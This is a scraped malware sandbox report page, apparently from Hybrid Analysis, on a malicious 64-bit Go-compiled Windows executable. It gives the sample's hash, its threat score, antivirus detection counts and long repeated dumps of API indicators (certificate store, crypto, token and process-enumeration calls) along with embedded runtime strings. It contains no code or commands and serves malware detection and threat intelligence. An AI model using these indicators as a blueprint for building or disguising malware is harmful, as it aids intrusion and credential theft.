26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T500,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 31f5df22bbc1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 31f5df22bbc1…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 5/27 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2"],"about":{"@type":"SoftwareApplication","name":"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":10,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T787,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "SetWaitableTimer"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003940.00000002.258352.01433000.00000002.mdmp")28:T62c,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003940.00000002.258352.01433000.00000002.mdmp")29:Tb0e,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbyname3814697265625wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}" (Indicator: "CertOpenStore"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddresshghmakz = -4.5file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddresshghmakz = -4.5file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "dr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125strongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->" (Indicator: "CryptReleaseContext"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucke" (Indicator: "CertOpenSystemStoreW"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucke" (Indicator: "CryptAcquireContextW"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "scall: n > len(args)non-Go function at pc=reflectlite.Value.TypeRtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too large23283064365386962890625index out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid ar" (Indicator: "CertGetCertificateChain"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "gspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSr" (Indicator: "CertFreeCertificateChain"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleinvalid argument to Int63ninvalid argument to Int31n14551915228366851806640625727595761418342590332" (Indicator: "CertFreeCertificateContext"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin"), Found api reference "03125all goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStore363797880709171295166015625PageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625GC mark assist wait for wor" (Indicator: "CertCreateCertificateContext"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin"), Found api reference "ime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin"), Found api reference "ime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin"), Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbyname3814697265625wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase" (Indicator: "CertOpenStore"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "dr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125strongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g-" (Indicator: "CryptReleaseContext"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of buck" (Indicator: "CertOpenSystemStoreW"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of buck" (Indicator: "CryptAcquireContextW"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "scall: n > len(args)non-Go function at pc=reflectlite.Value.TypeRtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too large23283064365386962890625index out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid a" (Indicator: "CertGetCertificateChain"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "gspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOS" (Indicator: "CertFreeCertificateChain"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleinvalid argument to Int63ninvalid argument to Int31n1455191522836685180664062572759576141834259033" (Indicator: "CertFreeCertificateContext"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625GC mark assist wait for wo" (Indicator: "CertCreateCertificateContext"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin"), Found api reference "runtime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameunimplemented3814697265625wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #invalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp"), Found api reference " locked to thread synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125strongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs gp->atomicstatus=marking free object KiB work 